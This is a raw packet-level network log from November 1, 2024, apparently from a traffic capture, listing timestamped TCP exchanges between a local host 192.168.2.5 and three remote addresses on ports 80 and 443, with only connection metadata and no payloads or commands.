Nov 1, 2024 05:53:16.004667044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004678011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004689932 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004692078 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.004702091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004713058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004719973 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.004724026 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004736900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004738092 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.004746914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004759073 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004759073 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.004770041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004781961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004782915 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.004792929 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004795074 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.004803896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.004831076 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.004856110 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.005354881 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005366087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005374908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005387068 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005397081 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005409002 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005412102 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.005419016 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005430937 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005440950 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005451918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005458117 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.005464077 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005470037 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.005474091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005485058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005486965 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.005496025 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005507946 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005512953 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.005520105 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005530119 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.005537033 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.005548954 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.005569935 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.018387079 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:16.018393993 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:16.036961079 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.036976099 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.036987066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037029028 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037055016 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037061930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037074089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037086010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037096024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037096977 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037111044 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037134886 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037206888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037246943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037261963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037273884 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037297964 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037311077 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037338018 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037349939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037360907 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037377119 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037390947 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037477970 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037489891 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037501097 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037513971 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037518024 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037538052 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037568092 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037676096 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037687063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037698984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037709951 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037714005 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037741899 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037763119 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037798882 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037834883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037847042 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037858009 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037868977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037872076 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037880898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037888050 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037890911 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.037913084 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.037925005 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038095951 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038114071 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038125038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038136005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038137913 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038147926 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038153887 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038156986 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038167953 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038180113 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038197041 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038366079 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038376093 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038387060 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038398981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038407087 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038409948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038424015 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038423061 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038435936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038449049 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038472891 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038651943 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038664103 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038675070 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038685083 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038691998 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038702965 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038707972 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038714886 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038726091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038733006 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038737059 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038746119 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038749933 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038760900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038774014 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038774014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038784981 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038784981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038796902 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038809061 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038810015 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.038834095 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.038857937 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039356947 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039369106 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039378881 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039390087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039401054 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039402008 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039412022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039414883 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039423943 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039433956 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039433956 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039444923 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039458036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039462090 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039473057 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039484024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039486885 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039504051 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039527893 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039882898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039894104 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039902925 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039912939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039925098 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039925098 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039936066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039948940 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039949894 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039958954 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039961100 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039972067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039984941 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.039984941 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.039997101 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040007114 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040009022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040021896 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040045023 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040352106 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040364027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040374041 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040384054 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040395021 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040405035 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040429115 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040498972 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040512085 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040520906 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040532112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040548086 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040550947 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040550947 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040559053 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040569067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040572882 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040580034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040587902 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040591002 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040601969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040612936 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040613890 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040623903 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040632963 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040635109 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040647030 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040648937 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040658951 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040669918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040673018 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040680885 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040693045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.040699005 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040709972 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.040723085 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041480064 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041496038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041507006 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041517973 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041522980 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041528940 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041538954 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041539907 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041548967 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041559935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041563988 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041569948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041573048 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041580915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041591883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041601896 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041601896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041613102 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041615963 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041624069 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041635036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041641951 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041645050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041656017 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041657925 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041666985 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041671038 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041676998 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041687012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041687965 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041701078 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041712046 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041716099 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041718006 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.041733027 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.041757107 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042424917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042437077 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042445898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042457104 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042468071 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042479038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042480946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042489052 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042500019 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042510033 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042510986 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042521954 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042525053 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042531967 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042540073 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042543888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042552948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042560101 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042563915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042574883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042583942 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042587042 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042594910 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042606115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042615891 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.042615891 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042623997 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042639971 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.042669058 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.043008089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.043020964 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:16.043045998 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.043061018 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:16.065258980 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:16.086365938 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:16.086483955 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:16.086514950 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:16.086555958 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:16.086571932 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:16.086606026 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:16.086646080 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:16.087496996 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:16.087506056 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:16.609596014 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:16.609692097 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:16.609792948 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:16.610413074 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:16.610460997 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:17.228508949 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:17.228610039 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:17.265222073 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:17.265264034 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:17.265518904 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:17.267136097 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:17.267287016 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:17.267330885 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:17.810723066 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:17.810822010 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:17.810895920 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:17.811237097 CET	49992	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:17.811281919 CET	443	49992	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:18.031338930 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:18.031372070 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:18.031450033 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:18.031806946 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:18.031821966 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:18.302767038 CET	49980	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:18.303092003 CET	49994	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:18.307949066 CET	80	49994	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:18.307965994 CET	80	49980	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:18.308079004 CET	49980	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:18.308089972 CET	49994	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:18.308151960 CET	49994	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:53:18.312916994 CET	80	49994	185.215.113.43	192.168.2.5
Nov 1, 2024 05:53:18.639792919 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:18.639861107 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:18.641113043 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:18.641119003 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:18.641340971 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:18.642909050 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:18.643076897 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:18.643109083 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:18.643161058 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:18.643167019 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:19.123214006 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:19.123311043 CET	443	49993	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:19.123421907 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:19.123506069 CET	49993	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:19.123522997 CET	443	49993	188.114.96.3	192.168.2.5
